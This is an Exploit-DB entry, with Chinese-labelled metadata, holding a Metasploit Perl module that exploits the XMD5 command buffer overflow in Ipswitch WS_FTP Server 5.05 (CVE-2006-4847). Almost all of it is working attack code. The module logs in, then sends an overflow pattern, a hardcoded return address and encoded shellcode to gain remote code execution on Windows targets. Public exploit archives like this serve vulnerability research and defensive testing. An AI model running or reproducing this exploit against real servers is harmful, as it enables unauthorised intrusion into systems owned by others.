标题: Ipswitch WS_FTP Server 5.05 - XMD5 Remote Buffer Overflow (Metasploit) EDB-ID: 3335 CVE: 2006-4847 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-19 漏洞利用脚本: ## 
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wsftp_server_505_xmd5;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
 'Name'    => 'WS-FTP Server 5.05 XMD5 Overflow',
 'Version' => '$Revision: 1.0 $',
 'Authors' =>
   [ 'Jacopo Cervini <acaro [at] jervus.it>',
  
   ],

 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp', 'win2003' ],
 'Priv'  => 0,

 'AutoOpts'  => { 'EXITFUNC' => 'thread' },
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 21],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
  'USER'  => [1, 'DATA', 'Username', 'ftp'],
  'PASS'  => [1, 'DATA', 'Password', 'ftp'],
   },

 'Payload' =>
   {
  'Space'  => 329,
  'BadChars'  => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",

  
  'Keys'   => ['+ws2ord'],
   },

 'Description'  =>  Pex::Text::Freeform(qq{
        This module exploits the buffer overflow found in the XMD command
        in IPSWITCH WS_FTP Server 5.05.    
}),

 'Refs'  =>
   [
  ['BID', '20076'],
  [ 'CVE', '2006-4847' ],
   ],

 'DefaultTarget' => 0,
 'Targets' =>
   [
  ['WS-FTP Server 5.05 Universal', 0x1002e636 ], # push esp, ret in LIBEAY32.dll
   ],

 'Keys' => ['wsftp'],

 'DisclosureDate' => 'Sep 14 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}


sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target      = $self->Targets->[$target_idx];

 if (! $self->InitNops(128)) {
  $self->PrintLine("[*] Failed to initialize the NOP module.");
  return;
 }

 my $request = Pex::Text::PatternCreate(676);
    $request .= pack("V", $target->[1]);
    $request .= $shellcode;
    
    
    

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );

 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 my $r = $s->RecvLineMulti(20);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);

 $s->Send("USER ".$self->GetVar('USER')."\n");
 $r = $s->RecvLineMulti(10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);

 $s->Send("PASS ".$self->GetVar('PASS')."\n");
 $r = $s->RecvLineMulti(10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);

 $self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'...");

 $s->Send("XMD5 $request\n");
 $r = $s->RecvLineMulti(10);
 if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
 $self->Print($r);

 sleep(2);
 return;
}

# milw0rm.com [2007-02-19] URL: https://www.exploit-db.com/exploits/3335